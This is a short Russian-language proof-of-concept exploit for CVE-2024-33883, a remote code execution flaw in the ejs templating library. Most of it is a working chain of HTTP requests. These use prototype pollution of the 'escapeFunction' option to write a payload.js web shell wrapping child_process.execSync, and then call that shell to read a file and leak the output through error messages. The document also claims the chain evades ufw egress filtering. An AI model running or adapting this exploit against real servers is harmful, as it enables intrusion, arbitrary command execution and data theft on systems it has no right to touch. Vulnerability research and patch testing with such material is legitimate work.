
PoC для CVE-2024-33883, RCE-уязвимость ejs.
На основе [email protected]
1. ejs/lib/ejs.js - строки 580, 636, 637
1. GET /pollute?target=client&value=1
2. GET /pollute?target=escapeFunction&value=process.mainModule.require("fs").writeFileSync('./payload.js', "function RCE( key ){ \n const result = process.mainModule.require('child_process').execSync(`${key}`); \n throw new Error(`Result leak from Error: ${result.toString()}`); \n}\n module.exports = RCE;");
3. GET /
- Внедрение веб-шелла
4. GET /pollute?target=escapeFunction&value=process.mainModule.require("./payload.js")("cat ./Leak_target");
5. GET /
- Активация веб-шелла
Указанный выше PoC может обойти сброс исходящих пакетов межсетевого экрана ufw.
Все версии ниже 3.1.10 уязвимы для данного типа атаки.
Это RCE-уязвимость, не злоупотребляйте ею на боевых серверах.